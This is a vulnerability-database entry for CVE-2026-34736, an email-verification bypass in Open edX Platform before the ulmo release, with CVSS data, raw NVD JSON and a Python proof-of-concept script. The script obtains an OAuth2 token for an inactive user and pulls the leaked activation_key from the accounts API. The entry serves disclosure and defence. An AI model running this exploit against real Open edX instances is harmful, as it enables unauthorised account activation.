Security Vulnerability Report
中文
CVE-2026-34736 CVSS 5.3 MEDIUM

CVE-2026-34736

Published: 2026-04-02 19:21:33
Last Modified: 2026-04-03 16:10:24

Description

Open edX Platform enables the authoring and delivery of online learning at any scale. From the maple release to before the ulmo release, an unauthenticated attacker can fully bypass the email verification process by combining two issues: the OAuth2 password grant issuing tokens to inactive users (documented behavior) and the activation_key being exposed in the REST API response at /api/user/v1/accounts/. This issue has been patched in the ulmo release.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open edX Platform (maple 到 ulmo 之前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests TARGET_URL = "https://target-openedx-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" CLIENT_ID = "your_client_id" CLIENT_SECRET = "your_client_secret" def exploit(): # Step 1: Obtain OAuth2 token using inactive user credentials print("[+] Attempting to get OAuth2 token for inactive user...") token_url = f"{TARGET_URL}/oauth2/access_token/" payload = { "grant_type": "password", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "username": USERNAME, "password": PASSWORD } try: resp = requests.post(token_url, data=payload) resp.raise_for_status() access_token = resp.json().get('access_token') print(f"[+] Token obtained: {access_token[:10]}...") except Exception as e: print(f"[-] Failed to get token: {e}") return # Step 2: Leak activation_key via REST API print("[+] Querying API to leak activation_key...") accounts_url = f"{TARGET_URL}/api/user/v1/accounts/" headers = {"Authorization": f"Bearer {access_token}"} try: resp = requests.get(accounts_url, headers=headers) resp.raise_for_status() user_data = resp.json() # Assuming the API returns a list or a dict containing user details if isinstance(user_data, list) and len(user_data) > 0: activation_key = user_data[0].get('activation_key') else: activation_key = user_data.get('activation_key') if activation_key: print(f"[+] Leaked activation_key: {activation_key}") # Step 3: Activate account (hypothetical endpoint based on key usage) activate_url = f"{TARGET_URL}/activate/{activation_key}" print(f"[+] Attempting to activate account via: {activate_url}") # requests.get(activate_url) # Uncomment to perform activation else: print("[-] activation_key not found in response.") except Exception as e: print(f"[-] Failed to leak key: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34736", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:21:32.867", "lastModified": "2026-04-03T16:10:23.730", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open edX Platform enables the authoring and delivery of online learning at any scale. From the maple release to before the ulmo release, an unauthenticated attacker can fully bypass the email verification process by combining two issues: the OAuth2 password grant issuing tokens to inactive users (documented behavior) and the activation_key being exposed in the REST API response at /api/user/v1/accounts/. This issue has been patched in the ulmo release."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/openedx/openedx-platform/commit/ad342ae16e6af0b46460ca05f47697ac755feba8", "source": "[email protected]"}, {"url": "https://github.com/openedx/openedx-platform/security/advisories/GHSA-m6rg-rp98-4crw", "source": "[email protected]"}]}}